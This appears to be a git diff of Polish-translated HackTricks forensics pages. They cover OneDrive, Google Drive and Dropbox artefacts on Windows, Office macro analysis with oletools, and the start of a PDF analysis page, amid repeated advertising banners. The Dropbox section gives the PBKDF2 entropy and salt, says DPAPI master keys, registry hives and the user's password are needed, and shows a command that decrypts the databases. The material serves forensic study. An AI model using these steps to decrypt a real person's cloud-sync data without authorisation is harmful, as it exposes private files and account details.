<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
<summary><strong>Naucz się hackowania AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobierz HackTricks w PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,59 +1,60 @@
|
|||
# Lokalne Przechowywanie w Chmurze
|
||||
# Local Cloud Storage
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj Dostęp Dziś:
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
W systemie Windows, folder OneDrive znajduje się w `\Users\<nazwa_użytkownika>\AppData\Local\Microsoft\OneDrive`. Wewnątrz folderu `logs\Personal` można znaleźć plik `SyncDiagnostics.log`, który zawiera pewne interesujące dane dotyczące zsynchronizowanych plików:
|
||||
W systemie Windows folder OneDrive można znaleźć w `\Users\<username>\AppData\Local\Microsoft\OneDrive`. A wewnątrz `logs\Personal` można znaleźć plik `SyncDiagnostics.log`, który zawiera interesujące dane dotyczące zsynchronizowanych plików:
|
||||
|
||||
* Rozmiar w bajtach
|
||||
* Data utworzenia
|
||||
* Data modyfikacji
|
||||
* Liczba plików w chmurze
|
||||
* Liczba plików w folderze
|
||||
* **CID**: Unikalne ID użytkownika OneDrive
|
||||
* **CID**: Unikalny identyfikator użytkownika OneDrive
|
||||
* Czas generowania raportu
|
||||
* Rozmiar dysku twardego systemu operacyjnego
|
||||
|
||||
Gdy już znajdziesz CID, zaleca się **wyszukiwanie plików zawierających to ID**. Możesz natrafić na pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
|
||||
Po znalezieniu CID zaleca się **wyszukiwanie plików zawierających ten identyfikator**. Możesz znaleźć pliki o nazwach: _**\<CID>.ini**_ i _**\<CID>.dat**_, które mogą zawierać interesujące informacje, takie jak nazwy plików zsynchronizowanych z OneDrive.
|
||||
|
||||
## Google Drive
|
||||
|
||||
W systemie Windows, główny folder Google Drive znajduje się w `\Users\<nazwa_użytkownika>\AppData\Local\Google\Drive\user_default`\
|
||||
Ten folder zawiera plik o nazwie Sync\_log.log z informacjami, takimi jak adres e-mail konta, nazwy plików, znaczniki czasu, skróty MD5 plików, itp. Nawet usunięte pliki pojawiają się w tym pliku dziennika z odpowiadającymi im skrótami MD5.
|
||||
W systemie Windows główny folder Google Drive można znaleźć w `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Ten folder zawiera plik o nazwie Sync\_log.log z informacjami takimi jak adres e-mail konta, nazwy plików, znaczniki czasu, hashe MD5 plików itp. Nawet usunięte pliki pojawiają się w tym pliku dziennika z odpowiadającym im MD5.
|
||||
|
||||
Plik **`Cloud_graph\Cloud_graph.db`** to baza danych sqlite, która zawiera tabelę **`cloud_graph_entry`**. W tej tabeli znajdziesz **nazwę** **zsynchronizowanych** **plików**, czas modyfikacji, rozmiar i sumę kontrolną MD5 plików.
|
||||
Plik **`Cloud_graph\Cloud_graph.db`** to baza danych sqlite, która zawiera tabelę **`cloud_graph_entry`**. W tej tabeli można znaleźć **nazwy** **zsynchronizowanych** **plików**, czas modyfikacji, rozmiar i sumę kontrolną MD5 plików.
|
||||
|
||||
Dane tabeli bazy danych **`Sync_config.db`** zawierają adres e-mail konta, ścieżkę folderów udostępnionych i wersję Google Drive.
|
||||
Dane tabeli bazy danych **`Sync_config.db`** zawierają adres e-mail konta, ścieżkę do udostępnionych folderów oraz wersję Google Drive.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox używa **baz danych SQLite** do zarządzania plikami. W tym\
|
||||
Możesz znaleźć bazy danych w folderach:
|
||||
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Local\Dropbox`
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<nazwa_użytkownika>\AppData\Roaming\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
A główne bazy danych to:
|
||||
|
||||
|
@ -62,74 +63,76 @@ A główne bazy danych to:
|
|||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
Rozszerzenie ".dbx" oznacza, że **bazy danych** są **zaszyfrowane**. Dropbox używa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
Rozszerzenie ".dbx" oznacza, że **bazy danych** są **szyfrowane**. Dropbox używa **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Aby lepiej zrozumieć szyfrowanie używane przez Dropbox, możesz przeczytać [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
Aby lepiej zrozumieć szyfrowanie, które stosuje Dropbox, możesz przeczytać [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Jednak główne informacje to:
|
||||
Jednak najważniejsze informacje to:
|
||||
|
||||
* **Entropia**: d114a55212655f74bd772e37e64aee9b
|
||||
* **Sól**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **Algorytm**: PBKDF2
|
||||
* **Iteracje**: 1066
|
||||
|
||||
Oprócz tych informacji, aby odszyfrować bazy danych, potrzebujesz:
|
||||
Oprócz tych informacji, aby odszyfrować bazy danych, potrzebujesz jeszcze:
|
||||
|
||||
* **Zaszyfrowany klucz DPAPI**: Możesz go znaleźć w rejestrze wewnątrz `NTUSER.DAT\Software\Dropbox\ks\client` (wyeksportuj te dane jako binarne)
|
||||
* Szyfrowane klucze główne DPAPI: Które można znaleźć w `\Users\<nazwa_użytkownika>\AppData\Roaming\Microsoft\Protect`
|
||||
* **Nazwę użytkownika** i **hasło** użytkownika systemu Windows
|
||||
* **szyfrowanego klucza DPAPI**: Możesz go znaleźć w rejestrze w `NTUSER.DAT\Software\Dropbox\ks\client` (wyeksportuj te dane jako binarne)
|
||||
* **hive'ów `SYSTEM`** i **`SECURITY`**
|
||||
* **głównych kluczy DPAPI**: Które można znaleźć w `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
* **nazwa użytkownika** i **hasło** użytkownika systemu Windows
|
||||
|
||||
Następnie możesz użyć narzędzia [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (443).png>)
|
||||
|
||||
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć do odzyskania oryginalnego**. Aby odzyskać oryginalny, po prostu użyj tego [przepisu cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) wpisując klucz główny jako "hasło" wewnątrz przepisu.
|
||||
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć do odzyskania oryginalnego**. Aby odzyskać oryginalny klucz, wystarczy użyć tego [przepisu cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)), wstawiając klucz główny jako "hasło" w przepisie.
|
||||
|
||||
Otrzymany wynikowy szesnastkowy kod to ostateczny klucz używany do szyfrowania baz danych, które można odszyfrować za pomocą:
|
||||
Ostateczny hex to klucz końcowy użyty do szyfrowania baz danych, który można odszyfrować za pomocą:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Baza danych **`config.dbx`** zawiera:
|
||||
The **`config.dbx`** database contains:
|
||||
|
||||
- **Email**: Adres e-mail użytkownika
|
||||
- **usernamedisplayname**: Nazwa użytkownika
|
||||
- **dropbox\_path**: Ścieżka, w której znajduje się folder Dropbox
|
||||
- **Host\_id: Hash** używany do uwierzytelniania w chmurze. Można go wycofać tylko z poziomu sieci.
|
||||
- **Root\_ns**: Identyfikator użytkownika
|
||||
* **Email**: Email użytkownika
|
||||
* **usernamedisplayname**: Nazwa użytkownika
|
||||
* **dropbox\_path**: Ścieżka, w której znajduje się folder dropbox
|
||||
* **Host\_id: Hash** używany do uwierzytelniania w chmurze. Może być odwołany tylko z poziomu sieci.
|
||||
* **Root\_ns**: Identyfikator użytkownika
|
||||
|
||||
Baza danych **`filecache.db`** zawiera informacje o wszystkich plikach i folderach zsynchronizowanych z Dropbox. Tabela `File_journal` zawiera najbardziej przydatne informacje:
|
||||
The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
|
||||
|
||||
- **Server\_path**: Ścieżka, w której znajduje się plik na serwerze (ścieżka ta poprzedzona jest przez `host_id` klienta).
|
||||
- **local\_sjid**: Wersja pliku
|
||||
- **local\_mtime**: Data modyfikacji
|
||||
- **local\_ctime**: Data utworzenia
|
||||
* **Server\_path**: Ścieżka, w której znajduje się plik na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
|
||||
* **local\_sjid**: Wersja pliku
|
||||
* **local\_mtime**: Data modyfikacji
|
||||
* **local\_ctime**: Data utworzenia
|
||||
|
||||
Inne tabele w tej bazie danych zawierają bardziej interesujące informacje:
|
||||
Other tables inside this database contain more interesting information:
|
||||
|
||||
- **block\_cache**: skrót wszystkich plików i folderów Dropbox
|
||||
- **block\_ref**: Powiązanie identyfikatora skrótu z tabeli `block_cache` z identyfikatorem pliku w tabeli `file_journal`
|
||||
- **mount\_table**: Dzielone foldery Dropbox
|
||||
- **deleted\_fields**: Usunięte pliki Dropbox
|
||||
- **date\_added**
|
||||
* **block\_cache**: hash wszystkich plików i folderów Dropbox
|
||||
* **block\_ref**: Powiązanie identyfikatora hash z tabeli `block_cache` z identyfikatorem pliku w tabeli `file_journal`
|
||||
* **mount\_table**: Udostępnione foldery Dropbox
|
||||
* **deleted\_fields**: Usunięte pliki Dropbox
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
- Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
# Analiza plików biurowych
|
||||
# Analiza plików Office
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
|
||||
|
||||
Aby uzyskać dalsze informacje, sprawdź [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). To tylko streszczenie:
|
||||
Aby uzyskać więcej informacji, sprawdź [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). To tylko podsumowanie:
|
||||
|
||||
Microsoft stworzył wiele formatów dokumentów biurowych, z dwoma głównymi typami: formaty **OLE** (takie jak RTF, DOC, XLS, PPT) i formaty **Office Open XML (OOXML)** (takie jak DOCX, XLSX, PPTX). Te formaty mogą zawierać makra, co czyni je celem phishingu i złośliwego oprogramowania. Pliki OOXML są strukturalnie jako kontenery zip, co pozwala na inspekcję poprzez rozpakowanie, ujawniając strukturę plików i folderów oraz zawartość plików XML.
|
||||
Microsoft stworzył wiele formatów dokumentów biurowych, z dwoma głównymi typami będącymi **formatami OLE** (takimi jak RTF, DOC, XLS, PPT) oraz **formatami Office Open XML (OOXML)** (takimi jak DOCX, XLSX, PPTX). Te formaty mogą zawierać makra, co czyni je celem dla phishingu i złośliwego oprogramowania. Pliki OOXML są strukturalnie zorganizowane jako kontenery zip, co umożliwia inspekcję poprzez rozpakowanie, ujawniając hierarchię plików i folderów oraz zawartość plików XML.
|
||||
|
||||
Aby zbadać struktury plików OOXML, podano polecenie do rozpakowania dokumentu i strukturę wynikową. Techniki ukrywania danych w tych plikach zostały udokumentowane, wskazując na ciągłe innowacje w ukrywaniu danych w ramach wyzwań CTF.
|
||||
Aby zbadać struktury plików OOXML, podano polecenie do rozpakowania dokumentu oraz strukturę wyjściową. Udokumentowano techniki ukrywania danych w tych plikach, co wskazuje na ciągłą innowację w ukrywaniu danych w ramach wyzwań CTF.
|
||||
|
||||
Do analizy **oletools** i **OfficeDissector** oferują kompleksowe zestawy narzędzi do badania zarówno dokumentów OLE, jak i OOXML. Te narzędzia pomagają w identyfikowaniu i analizowaniu osadzonych makr, które często służą jako wektory dostarczania złośliwego oprogramowania, zwykle pobierające i wykonujące dodatkowe złośliwe ładunki. Analizę makr VBA można przeprowadzić bez pakietu Microsoft Office, korzystając z Libre Office, co pozwala na debugowanie za pomocą punktów przerwania i zmiennych obserwowanych.
|
||||
Do analizy, **oletools** i **OfficeDissector** oferują kompleksowe zestawy narzędzi do badania zarówno dokumentów OLE, jak i OOXML. Narzędzia te pomagają w identyfikacji i analizie osadzonych makr, które często służą jako wektory dostarczania złośliwego oprogramowania, zazwyczaj pobierając i uruchamiając dodatkowe złośliwe ładunki. Analizę makr VBA można przeprowadzić bez Microsoft Office, wykorzystując Libre Office, które umożliwia debugowanie z punktami przerwania i zmiennymi obserwacyjnymi.
|
||||
|
||||
Instalacja i użycie **oletools** są proste, a polecenia są dostarczone do instalacji za pomocą pip oraz do wyodrębniania makr z dokumentów. Automatyczne wykonanie makr jest wyzwalane przez funkcje takie jak `AutoOpen`, `AutoExec` lub `Document_Open`.
|
||||
Instalacja i użycie **oletools** są proste, z podanymi poleceniami do instalacji za pomocą pip i ekstrakcji makr z dokumentów. Automatyczne uruchamianie makr jest wyzwalane przez funkcje takie jak `AutoOpen`, `AutoExec` lub `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
|
@ -38,21 +39,22 @@ olevba -c /path/to/document #Extract macros
|
|||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,54 @@
|
|||
# Analiza pliku PDF
|
||||
# Analiza plików PDF
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
